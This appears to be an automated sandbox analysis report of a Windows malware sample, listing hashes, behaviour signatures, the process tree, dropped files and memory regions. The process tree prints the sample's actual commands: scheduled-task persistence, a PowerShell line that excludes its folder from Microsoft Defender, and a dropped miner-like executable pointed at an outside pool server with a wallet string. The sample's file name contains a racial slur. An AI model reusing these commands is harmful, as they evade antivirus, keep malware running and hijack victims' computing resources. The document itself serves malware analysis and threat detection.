Resubmissions

07-07-2022 07:45

220707-jlmt7afdal 10

07-04-2022 05:16

220407-fx5btsbhf2 8

Analysis

  • max time kernel
    95s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220331-en
  • submitted
    07-04-2022 05:16

General

  • Target

    BstNiggaStub.exe

  • Size

    1017KB

  • MD5

    6a63a4741f5d8561a08069dab3c9afbc

  • SHA1

    4cceb4ccf7a1d488bc7a4b67ced920c7fcbec8a2

  • SHA256

    5536d8e31ee96b4cdfbd1a1b485cb13960f01ddf218ee8d17f42f5f02b41d68e

  • SHA512

    1afc1ec86a900827257b7fff7f2a598a0b35ef3f489a7ea11fe0d6a130335550ac6032a18e2c425429e06aae52ed89c84697ac9d12b3080cc2ee9b95b9ca9dab

Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 15 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 51 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\BstNiggaStub.exe
    "C:\Users\Admin\AppData\Local\Temp\BstNiggaStub.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4004
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
        PID:4628
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4628 -s 576
          3⤵
          • Program crash
          PID:4504
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /delete /tn WindowsService /f
        2⤵
          PID:448
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /tn WindowsService /tr "C:\Users\Admin\AppData\Roaming\Windows Folder\Windows Service.exe" /sc onlogon /rl highest
          2⤵
          • Creates scheduled task(s)
          PID:2876
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn WindowsServiceUpload /tr "C:\Users\Admin\AppData\Roaming\Windows Folder\Windows Service.exe" /f /rl highest
          2⤵
          • Creates scheduled task(s)
          PID:2248
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Windows Folder'
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4420
        • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\WindowsFinder.exe
          "C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\WindowsFinder.exe" -w EQBRanNZsA8KNoHEWSKpN4yahYET0g8dcctSXT0c3cNAfNax -p https://server1.whalestonpool.com -api ":8080"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2240
        • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\WindowsFinder.exe
          "C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\WindowsFinder.exe" -w EQBRanNZsA8KNoHEWSKpN4yahYET0g8dcctSXT0c3cNAfNax -p https://server1.whalestonpool.com -api ":8080"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4136
        • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\WindowsFinder.exe
          "C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\WindowsFinder.exe" -w EQBRanNZsA8KNoHEWSKpN4yahYET0g8dcctSXT0c3cNAfNax -p https://server1.whalestonpool.com -api ":8080"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:3196
        • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\WindowsFinder.exe
          "C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\WindowsFinder.exe" -w EQBRanNZsA8KNoHEWSKpN4yahYET0g8dcctSXT0c3cNAfNax -p https://server1.whalestonpool.com -api ":8080"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5032
        • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\WindowsFinder.exe
          "C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\WindowsFinder.exe" -w EQBRanNZsA8KNoHEWSKpN4yahYET0g8dcctSXT0c3cNAfNax -p https://server1.whalestonpool.com -api ":8080"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4668
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 4004 -s 2628
          2⤵
          • Program crash
          PID:1824
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4628 -ip 4628
        1⤵
          PID:488
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -pss -s 520 -p 4004 -ip 4004
          1⤵
            PID:756

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\OpenCL.dll

            Filesize

            28KB

            MD5

            75c82cc70a4a8f9878959edc4e40e067

            SHA1

            b3858343b9e2befcc28fd465fd377da451186033

            SHA256

            534f2229e40b543a5a06218e1019a133db817f09735102b0ee3c8573ebcfa6fc

            SHA512

            68e80a79c7f514d52835abe031e33259ba63039a3513d69d714f9dd8711107a7766f7ca18ed3712be57fb16dd97cf4b933a22d7efd14e6df555a7e80493432b7

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\OpenCL.dll

            Filesize

            28KB

            MD5

            75c82cc70a4a8f9878959edc4e40e067

            SHA1

            b3858343b9e2befcc28fd465fd377da451186033

            SHA256

            534f2229e40b543a5a06218e1019a133db817f09735102b0ee3c8573ebcfa6fc

            SHA512

            68e80a79c7f514d52835abe031e33259ba63039a3513d69d714f9dd8711107a7766f7ca18ed3712be57fb16dd97cf4b933a22d7efd14e6df555a7e80493432b7

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\OpenCL.dll

            Filesize

            28KB

            MD5

            75c82cc70a4a8f9878959edc4e40e067

            SHA1

            b3858343b9e2befcc28fd465fd377da451186033

            SHA256

            534f2229e40b543a5a06218e1019a133db817f09735102b0ee3c8573ebcfa6fc

            SHA512

            68e80a79c7f514d52835abe031e33259ba63039a3513d69d714f9dd8711107a7766f7ca18ed3712be57fb16dd97cf4b933a22d7efd14e6df555a7e80493432b7

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\OpenCL.dll

            Filesize

            28KB

            MD5

            75c82cc70a4a8f9878959edc4e40e067

            SHA1

            b3858343b9e2befcc28fd465fd377da451186033

            SHA256

            534f2229e40b543a5a06218e1019a133db817f09735102b0ee3c8573ebcfa6fc

            SHA512

            68e80a79c7f514d52835abe031e33259ba63039a3513d69d714f9dd8711107a7766f7ca18ed3712be57fb16dd97cf4b933a22d7efd14e6df555a7e80493432b7

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\OpenCL.dll

            Filesize

            28KB

            MD5

            75c82cc70a4a8f9878959edc4e40e067

            SHA1

            b3858343b9e2befcc28fd465fd377da451186033

            SHA256

            534f2229e40b543a5a06218e1019a133db817f09735102b0ee3c8573ebcfa6fc

            SHA512

            68e80a79c7f514d52835abe031e33259ba63039a3513d69d714f9dd8711107a7766f7ca18ed3712be57fb16dd97cf4b933a22d7efd14e6df555a7e80493432b7

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\OpenCL.dll

            Filesize

            28KB

            MD5

            75c82cc70a4a8f9878959edc4e40e067

            SHA1

            b3858343b9e2befcc28fd465fd377da451186033

            SHA256

            534f2229e40b543a5a06218e1019a133db817f09735102b0ee3c8573ebcfa6fc

            SHA512

            68e80a79c7f514d52835abe031e33259ba63039a3513d69d714f9dd8711107a7766f7ca18ed3712be57fb16dd97cf4b933a22d7efd14e6df555a7e80493432b7

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\WindowsFinder.exe

            Filesize

            6.2MB

            MD5

            5b69b37c6acf7203fcef43fb3f1b794d

            SHA1

            538caf62f25dea9d174f02aead4dc846ebadc345

            SHA256

            6fec5ac27cb10fab24e7068393dd05dc3d811498df175a0999ba4add71791ba5

            SHA512

            ee4e0a86692e82ad0a79707ce0840341bc79cf8be4ee8f2a01012968fc75ffb4625017645cec069dd5e3d7b12060ef747a4d6aa5d1b3461ba0cedea777df814f

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\WindowsFinder.exe

            Filesize

            6.2MB

            MD5

            5b69b37c6acf7203fcef43fb3f1b794d

            SHA1

            538caf62f25dea9d174f02aead4dc846ebadc345

            SHA256

            6fec5ac27cb10fab24e7068393dd05dc3d811498df175a0999ba4add71791ba5

            SHA512

            ee4e0a86692e82ad0a79707ce0840341bc79cf8be4ee8f2a01012968fc75ffb4625017645cec069dd5e3d7b12060ef747a4d6aa5d1b3461ba0cedea777df814f

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\WindowsFinder.exe

            Filesize

            6.2MB

            MD5

            5b69b37c6acf7203fcef43fb3f1b794d

            SHA1

            538caf62f25dea9d174f02aead4dc846ebadc345

            SHA256

            6fec5ac27cb10fab24e7068393dd05dc3d811498df175a0999ba4add71791ba5

            SHA512

            ee4e0a86692e82ad0a79707ce0840341bc79cf8be4ee8f2a01012968fc75ffb4625017645cec069dd5e3d7b12060ef747a4d6aa5d1b3461ba0cedea777df814f

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\WindowsFinder.exe

            Filesize

            6.2MB

            MD5

            5b69b37c6acf7203fcef43fb3f1b794d

            SHA1

            538caf62f25dea9d174f02aead4dc846ebadc345

            SHA256

            6fec5ac27cb10fab24e7068393dd05dc3d811498df175a0999ba4add71791ba5

            SHA512

            ee4e0a86692e82ad0a79707ce0840341bc79cf8be4ee8f2a01012968fc75ffb4625017645cec069dd5e3d7b12060ef747a4d6aa5d1b3461ba0cedea777df814f

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\WindowsFinder.exe

            Filesize

            6.2MB

            MD5

            5b69b37c6acf7203fcef43fb3f1b794d

            SHA1

            538caf62f25dea9d174f02aead4dc846ebadc345

            SHA256

            6fec5ac27cb10fab24e7068393dd05dc3d811498df175a0999ba4add71791ba5

            SHA512

            ee4e0a86692e82ad0a79707ce0840341bc79cf8be4ee8f2a01012968fc75ffb4625017645cec069dd5e3d7b12060ef747a4d6aa5d1b3461ba0cedea777df814f

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\libcrypto-1_1-x64.dll

            Filesize

            3.3MB

            MD5

            32d7e884189e301c3cd4b6993abb283f

            SHA1

            793fa8e8e51c591c520e906061313e8f97287440

            SHA256

            5862fb9df1dfc0ad0c1fe9034aeb057633828e12fbc00d2b044e364758bf9519

            SHA512

            b64ca1444b94ec324a74efaa3f78e8d3195f60a7364ff5ee1f3f5d27859fc4790d13a780232bb328cb571765abc96caebf275de5573bfc146931fa989a02943b

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\libcrypto-1_1-x64.dll

            Filesize

            3.3MB

            MD5

            32d7e884189e301c3cd4b6993abb283f

            SHA1

            793fa8e8e51c591c520e906061313e8f97287440

            SHA256

            5862fb9df1dfc0ad0c1fe9034aeb057633828e12fbc00d2b044e364758bf9519

            SHA512

            b64ca1444b94ec324a74efaa3f78e8d3195f60a7364ff5ee1f3f5d27859fc4790d13a780232bb328cb571765abc96caebf275de5573bfc146931fa989a02943b

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\libcrypto-1_1-x64.dll

            Filesize

            3.3MB

            MD5

            32d7e884189e301c3cd4b6993abb283f

            SHA1

            793fa8e8e51c591c520e906061313e8f97287440

            SHA256

            5862fb9df1dfc0ad0c1fe9034aeb057633828e12fbc00d2b044e364758bf9519

            SHA512

            b64ca1444b94ec324a74efaa3f78e8d3195f60a7364ff5ee1f3f5d27859fc4790d13a780232bb328cb571765abc96caebf275de5573bfc146931fa989a02943b

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\libcrypto-1_1-x64.dll

            Filesize

            3.3MB

            MD5

            32d7e884189e301c3cd4b6993abb283f

            SHA1

            793fa8e8e51c591c520e906061313e8f97287440

            SHA256

            5862fb9df1dfc0ad0c1fe9034aeb057633828e12fbc00d2b044e364758bf9519

            SHA512

            b64ca1444b94ec324a74efaa3f78e8d3195f60a7364ff5ee1f3f5d27859fc4790d13a780232bb328cb571765abc96caebf275de5573bfc146931fa989a02943b

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\libcrypto-1_1-x64.dll

            Filesize

            3.3MB

            MD5

            32d7e884189e301c3cd4b6993abb283f

            SHA1

            793fa8e8e51c591c520e906061313e8f97287440

            SHA256

            5862fb9df1dfc0ad0c1fe9034aeb057633828e12fbc00d2b044e364758bf9519

            SHA512

            b64ca1444b94ec324a74efaa3f78e8d3195f60a7364ff5ee1f3f5d27859fc4790d13a780232bb328cb571765abc96caebf275de5573bfc146931fa989a02943b

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\libcrypto-1_1-x64.dll

            Filesize

            3.3MB

            MD5

            32d7e884189e301c3cd4b6993abb283f

            SHA1

            793fa8e8e51c591c520e906061313e8f97287440

            SHA256

            5862fb9df1dfc0ad0c1fe9034aeb057633828e12fbc00d2b044e364758bf9519

            SHA512

            b64ca1444b94ec324a74efaa3f78e8d3195f60a7364ff5ee1f3f5d27859fc4790d13a780232bb328cb571765abc96caebf275de5573bfc146931fa989a02943b

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\toncrypto.dll

            Filesize

            3.6MB

            MD5

            703f25116760b08f24401832edb0014f

            SHA1

            631bdb041296c58849648a447afd7046246747a1

            SHA256

            c6c5e99afcd785b64058f1180f26b3f44b616d056f68990659d077666456f558

            SHA512

            566dcab034bc241d81e9950bf7f283668d587cdd10c3d9ce89cea7baa3281d947827e2bd15f0c22bafbc3bae2c0a290620b7de9d2187ac04dcc61fde2f84ab4b

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\toncrypto.dll

            Filesize

            3.6MB

            MD5

            703f25116760b08f24401832edb0014f

            SHA1

            631bdb041296c58849648a447afd7046246747a1

            SHA256

            c6c5e99afcd785b64058f1180f26b3f44b616d056f68990659d077666456f558

            SHA512

            566dcab034bc241d81e9950bf7f283668d587cdd10c3d9ce89cea7baa3281d947827e2bd15f0c22bafbc3bae2c0a290620b7de9d2187ac04dcc61fde2f84ab4b

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\toncrypto.dll

            Filesize

            3.6MB

            MD5

            703f25116760b08f24401832edb0014f

            SHA1

            631bdb041296c58849648a447afd7046246747a1

            SHA256

            c6c5e99afcd785b64058f1180f26b3f44b616d056f68990659d077666456f558

            SHA512

            566dcab034bc241d81e9950bf7f283668d587cdd10c3d9ce89cea7baa3281d947827e2bd15f0c22bafbc3bae2c0a290620b7de9d2187ac04dcc61fde2f84ab4b

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\toncrypto.dll

            Filesize

            3.6MB

            MD5

            703f25116760b08f24401832edb0014f

            SHA1

            631bdb041296c58849648a447afd7046246747a1

            SHA256

            c6c5e99afcd785b64058f1180f26b3f44b616d056f68990659d077666456f558

            SHA512

            566dcab034bc241d81e9950bf7f283668d587cdd10c3d9ce89cea7baa3281d947827e2bd15f0c22bafbc3bae2c0a290620b7de9d2187ac04dcc61fde2f84ab4b

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\toncrypto.dll

            Filesize

            3.6MB

            MD5

            703f25116760b08f24401832edb0014f

            SHA1

            631bdb041296c58849648a447afd7046246747a1

            SHA256

            c6c5e99afcd785b64058f1180f26b3f44b616d056f68990659d077666456f558

            SHA512

            566dcab034bc241d81e9950bf7f283668d587cdd10c3d9ce89cea7baa3281d947827e2bd15f0c22bafbc3bae2c0a290620b7de9d2187ac04dcc61fde2f84ab4b

          • C:\Users\Admin\AppData\Roaming\Windows Folder\Addins\toncrypto.dll

            Filesize

            3.6MB

            MD5

            703f25116760b08f24401832edb0014f

            SHA1

            631bdb041296c58849648a447afd7046246747a1

            SHA256

            c6c5e99afcd785b64058f1180f26b3f44b616d056f68990659d077666456f558

            SHA512

            566dcab034bc241d81e9950bf7f283668d587cdd10c3d9ce89cea7baa3281d947827e2bd15f0c22bafbc3bae2c0a290620b7de9d2187ac04dcc61fde2f84ab4b

          • memory/448-130-0x0000000000000000-mapping.dmp

          • memory/2240-149-0x0000000000000000-mapping.dmp

          • memory/2248-134-0x0000000000000000-mapping.dmp

          • memory/2876-133-0x0000000000000000-mapping.dmp

          • memory/3196-162-0x0000000000000000-mapping.dmp

          • memory/4004-146-0x0000019AC5E54000-0x0000019AC5E57000-memory.dmp

            Filesize

            12KB

          • memory/4004-148-0x0000019AC5CD0000-0x0000019AC5CE2000-memory.dmp

            Filesize

            72KB

          • memory/4004-136-0x0000019AC5CA0000-0x0000019AC5CAA000-memory.dmp

            Filesize

            40KB

          • memory/4004-126-0x0000019AC4F60000-0x0000019AC4F62000-memory.dmp

            Filesize

            8KB

          • memory/4004-138-0x0000019AC4F65000-0x0000019AC4F67000-memory.dmp

            Filesize

            8KB

          • memory/4004-139-0x0000019AC4F67000-0x0000019AC4F69000-memory.dmp

            Filesize

            8KB

          • memory/4004-140-0x0000019AC4F69000-0x0000019AC4F6F000-memory.dmp

            Filesize

            24KB

          • memory/4004-137-0x0000019AC4F63000-0x0000019AC4F65000-memory.dmp

            Filesize

            8KB

          • memory/4004-147-0x0000019AC5E57000-0x0000019AC5E5C000-memory.dmp

            Filesize

            20KB

          • memory/4004-169-0x0000019AC5E5C000-0x0000019AC5E61000-memory.dmp

            Filesize

            20KB

          • memory/4004-175-0x0000019AC5E61000-0x0000019AC5E66000-memory.dmp

            Filesize

            20KB

          • memory/4004-144-0x0000019AC5E50000-0x0000019AC5E54000-memory.dmp

            Filesize

            16KB

          • memory/4004-124-0x0000019AAA8F0000-0x0000019AAA91A000-memory.dmp

            Filesize

            168KB

          • memory/4004-125-0x00007FF9EBFA0000-0x00007FF9ECA61000-memory.dmp

            Filesize

            10.8MB

          • memory/4136-150-0x0000000000000000-mapping.dmp

          • memory/4420-135-0x0000000000000000-mapping.dmp

          • memory/4420-145-0x000001CE0F630000-0x000001CE0F652000-memory.dmp

            Filesize

            136KB

          • memory/4420-143-0x000001CE27B70000-0x000001CE27B72000-memory.dmp

            Filesize

            8KB

          • memory/4420-142-0x000001CE27B73000-0x000001CE27B75000-memory.dmp

            Filesize

            8KB

          • memory/4420-141-0x00007FF9EBFA0000-0x00007FF9ECA61000-memory.dmp

            Filesize

            10.8MB

          • memory/4628-128-0x0000000000453B8C-mapping.dmp

          • memory/4628-127-0x0000000000400000-0x000000000048D000-memory.dmp

            Filesize

            564KB

          • memory/4628-129-0x0000000000400000-0x000000000048D000-memory.dmp

            Filesize

            564KB

          • memory/4628-131-0x0000000000400000-0x000000000048D000-memory.dmp

            Filesize

            564KB

          • memory/4668-173-0x0000000000000000-mapping.dmp

          • memory/5032-167-0x0000000000000000-mapping.dmp